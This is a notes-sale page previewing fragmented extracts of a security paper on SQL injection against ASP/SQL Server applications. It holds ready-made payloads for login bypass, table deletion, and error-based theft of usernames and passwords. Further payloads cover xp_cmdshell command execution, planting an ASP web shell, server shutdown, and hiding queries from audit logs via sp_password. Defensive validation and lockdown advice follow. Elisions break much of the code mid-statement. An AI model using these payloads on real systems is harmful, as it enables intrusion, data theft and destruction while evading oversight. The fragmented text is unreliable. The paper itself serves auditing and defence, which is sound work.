Search for notes by fellow students, in your own course and all over the country.

Browse our notes for titles which look like what you need, you can preview any of the notes via a sample of the contents. After you're happy these are the notes you're after simply pop them into your shopping cart.

My Basket

You have nothing in your shopping cart yet.

Title: Hacking
Description: It's complete notes on Advanced SQL Injection Hacking

Document Preview

Extracts from the notes are below, to see the PDF you'll receive please use the links above


Advanced SQL Injection In SQL Server
Applications
Chris Anley [chris@ngssoftware
...
ngssoftware
...
3
[Introduction]
...
7
[Leveraging Further Access]
...
12
[xp_regread]
...
13
[Linked Servers]
...
14
[Importing text files into tables]
...
15
[ActiveX automation scripts in SQL Server]
...
17
[Advanced SQL Injection]
...
18
[Second-Order SQL Injection]
...
20
[Audit Evasion]
...
21
[Input Validation]
...
23
[References]
...
25
(sqlcrack
...
25

Page 2

[Abstract]
This document discusses in detail the common 'SQL injection' technique, as it applies to
the popular Microsoft Internet Information Server/Active Server Pages/SQL Server
platform
...

The paper is intended to be read by both developers of web applications which
communicate with databases and by security professionals whose role includes auditing
these web applications
...
There are many varieties of SQL; most dialects that are in common use at the
moment are loosely based around SQL-92, the most recent ANSI standard
...
SQL statements can modify the structure of databases (using
Data Definition Language statements, or 'DDL') and manipulate the contents of databases
(using Data Manipulation Language statements, or 'DML')
...

SQL Injection occurs when an attacker is able to insert a series of SQL statements into a
'query' by manipulating data input into an application
...
The 'result set' could be restricted to a specific
'author' like this:
select id, forename, surname from authors where forename = 'john' and
surname = 'smith'

An important point to note here is that the string literals 'john' and 'smith' are delimited
with single quotes
...


The reason for this is that the insertion of the 'single quote' character 'breaks out' of the
single-quote delimited data
...
If the
attacker specified input like this:
Forename: jo'; drop table authors-Surname:

…the authors table would be deleted, for reasons that we will go into later
...
This is true, but there are several
difficulties with this method as a solution
...
If our user input could select an author by 'id' (presumably a number) for
example, our query might look like this:
select id, forename, surname from authors where id=1234

In this situation an attacker can simply append SQL statements on the end of the numeric
input
...
Second, 'escaping'
single quotes is not necessarily the simple cure it might initially seem, for reasons we will
go into later
...

This is the code for the 'form' page, into which the user types a username and password:


Login Page



Login






<%@LANGUAGE = JScript %>
<%
function trace( str )
{
if( Request
...
write( str );
}
function Login( cn )
{
var username;
var password;
username = Request
...
form("password");
var rso = Server
...
Recordset");
var sql = "select * from users where username = '" + username + "'
and password = '" + password + "'";
trace( "query: " + sql );
rso
...
EOF)
{
rso
...
end
return;

Session("username") = "" + rso("username");



ACCESS GRANTED



Welcome,
Response
...
write( "" );
Response
...
createobject( "ADODB
...
connectiontimeout = 20;
cn
...
form("username") );
if( username
...
close();

Main();
%>

The critical point here is the part of 'process_login
...
the 'users' table will be deleted, denying access to the application for all users
...
The '--' at the end of
the username field is required in order for this particular query to terminate without error
...

[Obtaining Information Using Error Messages]
This technique was first discovered by David Litchfield and the author in the course of a
penetration test; David later wrote a paper on the technique [1], and subsequent authors
have referenced this work
...

In order to manipulate the data in the database, the attacker will have to determine the
structure of certain databases and tables
...
and had the following users inserted:
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )

Page 7

insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )

Let's say our attacker wants to insert a user account for himself
...
Even if he gets lucky, the
significance of the 'privs' field is unclear
...

Fortunately for the attacker, if error messages are returned from the application (the
default ASP behaviour) the attacker can determine the entire structure of the database,
and read any value that can be read by the account the ASP application is using to
connect to the SQL Server
...
asp scripts to illustrate
how these techniques work
...
To do this, the attacker uses the 'having' clause of the 'select'
statement:
Username: ' having 1=1--

This provokes the following error:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users
...

/process_login
...
They can continue through the columns by introducing each field into a 'group by'
clause, as follows:
Username: ' group by users
...
username'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause
...
asp, line 35

Eventually the attacker arrives at the following 'username':
Page 8

' group by users
...
username, users
...
privs having
1=1--

… which produces no error, and is functionally equivalent to:
select * from users where username = ''

So the attacker now knows that the query is referencing only the 'users' table, and is using
the columns 'id, username, password, privs', in that order
...
This can be achieved
using a 'type conversion' error message, like this:
Username: ' union select sum(username) from users--

This takes advantage of the fact that SQL server attempts to apply the 'sum' clause before
determining whether the number of fields in the two rowsets is equal
...

/process_login
...
which tells us that the 'username' field has type 'varchar'
...

/process_login
...

This allows the attacker to create a well - formed 'insert' query, like this:
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff
)--

However, the potential of the technique doesn't stop there
...
A list of the format strings for standard error messages can be obtained by
running:
select * from master
...

One especially useful message relates to type conversion
...
In
our sample login page, for example, the following 'username' will return the specific
version of SQL server, and the server operating system it is running on:
Username: ' union select @@version,1,1,1-Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8
...
194 (Intel X86) Aug
6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5
...

/process_login
...

This technique can be used to read any value in any table in the database
...

/process_login
...
He can now iterate through the
rows in the table by substituting each new username he discovers into the 'where' clause:
Username: ' union select min(username),1,1,1 from users where username >
'admin'--

Page 10

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'chris' to a column of data type int
...
asp, line 35

Once the attacker has determined the usernames, he can start gathering passwords:
Username: ' union select password,1,1,1 from users where username =
'admin'-Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'r00tr0x!' to a column of data type int
...
asp, line 35

A more elegant technique is to concatenate all of the usernames and passwords into a
single string, and then attempt to convert it to an integer
...
The following script will concatenate the values:
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end

The attacker 'logs in' with this 'username' (all on one line, obviously…)
Username: '; begin declare @ret varchar(8000) set @ret=':' select
@ret=@ret+' '+username+'/'+password from users where username>@ret
select @ret as ret into foo end--

This creates a table 'foo', which contains the single column 'ret', and puts our string into it
...

The attacker then selects the string from the table, as before:
Username: ' union select ret,1,1,1 from foo-Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value ': admin/r00tr0x! guest/guest chris/password
fred/sesame' to a column of data type int
...
asp, line 35

And then drops (deletes) the table, to tidy up:
Username: '; drop table foo--

These examples are barely scratching the surface of the flexibility of this technique
...

[Leveraging Further Access]
Once an attacker has control of the database, they are likely to want to use that access to
obtain further control over the network
...
Using the xp_cmdshell extended stored procedure to run commands as the SQL
server user, on the database server
2
...
Use other extended stored procedures to influence the server
4
...
Creating custom extended stored procedures to run exploit code from within the
SQL Server process
6
...
Use bcp to create arbitrary text files on the server
8
...
We present these techniques as a collection
of relatively obvious SQL Server attacks, in order to show just what is possible, given the
ability to inject SQL
...

[xp_cmdshell]
Extended stored procedures are essentially compiled Dynamic Link Libraries (DLLs) that
use a SQL Server specific calling convention to run exported functions
...
A number of extended stored procedures are built in to SQL Server, and
perform various functions such as sending email and interacting with the registry
...
For example:
exec master
...
xp_cmdshell 'net1 user'
will provide a list of all users on the machine
...

[xp_regread]
Another helpful set of built in extended stored procedures are the xp_regXXX functions,
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Example uses of some of these functions:
exec xp_regread HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares'
(this determines what null-session shares are available on the server)
exec xp_regenumvalues HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcomm
unities'
(this will reveal all of the SNMP communities configured on the server
...

[Other Extended Stored Procedures]
The xp_servicecontrol procedure allows a user to start, stop, pause and 'continue'
Page 13

services:
exec master
...
xp_servicecontrol 'start', 'server'
Here is a table of a few other useful extended stored procedures:
xp_availablemedia
xp_dirtree
xp_enumdsn
xp_loginconfig
xp_makecab
xp_ntsec_enumdomains
xp_terminate_process

reveals the available drives on the
machine
...

allows the user to create a compressed
archive of files on the server (or any files
the server can access)
enumerates domains that the server can
access
terminates a process, given its PID

[Linked Servers]
SQL Server provides a mechanism to allow servers to be 'linked' - that is, to allow a
query on one database server to manipulate data on another
...
sysservers table
...
The 'openquery' function allows
queries to be run against the linked server
...
There are several
ways to upload the DLL onto the SQL server using command lines, and there are other
methods involving various communication mechanisms that can be automated, such as
HTTP downloads and FTP scripts
...
dll'

Page 14

The extended stored procedure can then be run by calling it in the normal way:
exec xp_webserver

Once the procedure has been run, it can be removed like this:
sp_dropextendedproc 'xp_webserver'

[Importing text files into tables]
Using the 'bulk insert' statement, it is possible to insert a text file into a temporary table
...
asp'

…the data can then be retrieved using any of the above error message techniques, or by a
'union' select, combining the data in the text file with the data that is normally returned by
the application
...

[Creating Text Files using BCP]
It is fairly easy to create arbitrary text files using the 'opposite' technique to the 'bulk
insert'
...

This is typically not difficult to obtain, since the attacker can probably create one
anyway, or take advantage of 'integrated' security mode, if the server is configured to use
it
...
foo" queryout c:\inetpub\wwwroot\runcommand
...

[ActiveX automation scripts in SQL Server]
Several built-in extended stored procedures are provided which allow the creation of
ActiveX Automation scripts in SQL server
...
An automation script written in Transact-SQL in this way can do
anything that an ASP script, or a WSH script can do
...
shell' object to create an instance of notepad (this could
of course be any command line):
-- wscript
...
shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad
...
shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad
...
filesystemobject' object to read a known text file:
-- scripting
...
filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot
...
filesystemobject example - create a 'run this'
...
filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out,
'c:\inetpub\wwwroot\foo
...
createobject("wscript
...
run(
request
...
In IIS5, however, they will run
as the low-privileged IWAM_xxx account
...
voicetext' object, causing the SQL Server to speak:
Page 16

declare @o int, @ret int
exec sp_oacreate 'speech
...
voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed',
150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528
waitfor delay '00:00:05'-[Stored Procedures]
Traditional wisdom holds that if an ASP application uses stored procedures in the
database, that SQL injection is not possible
...

Essentially, if a parameterised query is run, and the user-supplied parameters are passed
safely to the query, then SQL injection is typically impossible
...

Good general rules are:
• If the ASP script creates a SQL query string that is submitted to the server, it is
vulnerable to SQL injection, *even if* it uses stored procedures
• If the ASP script uses a procedure object that wraps the assignment of parameters
to a stored procedure (such as the ADO command object, used with the
Parameters collection) then it is generally safe, though this depends on the object's
implementation
...

To illustrate the stored procedure query injection point, execute the following SQL string:
sp_who '1' select * from sysobjects

or
sp_who '1'; select * from sysobjects

Either way, the appended query is still run, after the stored procedure
...

In this section, we discuss some techniques that help attackers bypass some of the more
obvious defences against SQL injection, and evade logging to a certain extent
...
However, in a larger application it is
likely that several values that the user is supposed to input will be numeric
...

If the attacker wishes to create a string value without using quotes, they can use the 'char'
function
...

Of course, if the attacker doesn't mind using a numeric username and password, the
following statement would do just as well:
insert into users values( 667,
123,
123,
0xffff)

Since SQL Server automatically converts integers into 'varchar' values, the type
conversion is implicit
...

For example, an attacker might register with an application, creating a username
Username: admin'-Password: password

The application correctly escapes the single quote, resulting in an 'insert' statement like
this:
insert into users values( 123, 'admin''--', 'password', 0xffff )

Let's say the application allows a user to change their password
...
The
code might look like this:
username = escape( Request
...
form("oldpassword") );
newpassword = escape( Request
...
CreateObject("ADODB
...
open( sql, cn );
if (rso
...

Given the username admin'--, the query produces the following query:
update users set password = 'password' where username = 'admin'--'

The attacker can therefore set the admin password to the value of their choice, by
registering as a user called admin'--
...
The best solution is to reject bad input, rather than simply attempting to modify it
...
If this is unacceptable, they will have to be 'escaped'; in
this case, it is best to ensure that all data that goes into a SQL query string (including data
obtained from the database) is correctly handled
...
It is always best to verify *all* data, including data that is already in the system the validation functions should be relatively simple to call, for example
if ( not isValid( "email", request
...
end


...

[Length Limits]
Sometimes the length of input data is restricted in order to make attacks more difficult;
while this does obstruct some types of attack, it is possible to do quite a lot of harm in a
very small amount of SQL
...
will shut down the SQL server instance, using only 12 characters of input
...
If the username was limited to (say) 16 characters, and the
password was also limited to 16 characters, the following username/password
combination would execute the 'shutdown' command mentioned above:
Username: aaaaaaaaaaaaaaa'
Password: '; shutdown--

The reason is that the application attempts to 'escape' the single - quote at the end of the
username, but the string is then cut short to 16 characters, deleting the 'escaping' single
quote
...

[Audit Evasion]
SQL Server includes a rich auditing interface in the sp_traceXXX family of functions,
which allow the logging of various events in the database
...
If this level of audit is enabled, all of the injected SQL queries we
have discussed will be logged and a skilled database administrator will be able to see
what has happened
...

-- The text has been replaced with this comment for security reasons
...

This is, or course, intended to hide the plaintext passwords of users as they pass through
sp_password, but it is quite a useful behaviour for an attacker
...

[Defences]
This section discusses some defences against the described attacks
...

[Input Validation]
Input validation can be a complex subject
...
Input
validation tends not to add to the functionality of an application, and thus it is generally
overlooked in the rush to meet imposed deadlines
...
This sample
code is (of course) not intended to be directly used in applications, but it does illustrate
the differing strategies quite well
...
Second, 'massaging' the data can alter its length, which can result in
problems as described above
...

Solution (2) suffers from some of the same issues as (1); 'known bad' input changes over
time, as new attack techniques develop
...

Probably the best approach from a security point of view is to combine approaches (2)
and (3) - allow only good input, and then search that input for known 'bad' data
...

Another problem occurs when combining the 'massaging' of data with validation of
character sequences - for example, if we apply a 'known bad' filter that detects '--', 'select'
and 'union' followed by a 'massaging' filter that removes single-quotes, the attacker could
specify input like
uni'on sel'ect @@version-'Since the single-quote is removed after the 'known bad' filter is applied, the attacker can
simply intersperse single quotes in his known-bad strings to evade detection
...

Approach 1 - Escape singe quotes
function escape( input )

Page 22

input = replace(input, "'", "''")
escape = input
end function

Approach 2 - Reject known bad input
function validate_string( input )
known_bad = array( "select", "insert", "update", "delete", "drop",
"--", "'" )
validate_string = true

then

for i = lbound( known_bad ) to ubound( known_bad )
if ( instr( 1, input, known_bad(i), vbtextcompare ) <> 0 )

next

validate_string = false
exit function
end if

end function

Approach 3 - Allow only good input
function validatepassword( input )
good_password_chars =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )

next

if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if

end function

[SQL Server Lockdown]
The most important point here is that it *is* necessary to 'lock down' SQL server; it is not
secure 'out of the box'
...
Determine methods of connection to the server

Page 23

2
...


4
...


6
...
Verify that only the network libraries you're using are enabled, using the
'Network utility'
Verify which accounts exist
a
...
Remove unnecessary accounts
c
...
Many extended stored procedures can be removed safely
...
dll' file containing the extended stored procedure
code
...
Remove all sample databases - the 'northwind' and 'pubs' databases, for
example
...
The account that an application uses to access the database should have
only the minimum permissions necessary to access the objects that it needs
to use
...
There are several buffer overflow [3], [4] and format string [5] attacks
against SQL Server (mostly discovered by the author) as well as several
other 'patched' security issues
...

Verify what will be logged, and what will be done with the logs
...
sqlsecurity
...

[References]
[1] Web Application Disassembly with ODBC Error Messages, David Litchfield
http://www
...
com/papers/webappdis
...
sqlsecurity
...
asp
[3] SQL Server 2000 Extended Stored Procedure Vulnerability
http://www
...
com/research/advisories/2000/a120100-2
...
atstake
...
txt
[5] Multiple Buffer Format String Vulnerabilities In SQL Server
http://www
...
com/technet/security/bulletin/MS01-060
...
atstake
...
txt

Page 24

Appendix A - 'SQLCrack'
This SQL password cracking script (written by the author) requires access to the
'password' column of master
...
It is, however, an extremely useful tool for database administrators seeking to
improve the quality of passwords in use on their databases
...
txt' in place of the 'bulk insert' statement
...
The script will also detect 'joe' accounts - accounts
that have the same password as their username - and accounts with blank passwords
...
sql)
create table tempdb
...
passwords from 'c:\temp\passwords
...
passwords inner join sysxlogins
on
(pwdcompare( pwd, sysxlogins
...
password, 0 ) = 1)
union select sysxlogins
...
sid=syslogins
...
password is null and
syslogins
...
isntuser=0
drop table tempdb
Title: Hacking
Description: It's complete notes on Advanced SQL Injection Hacking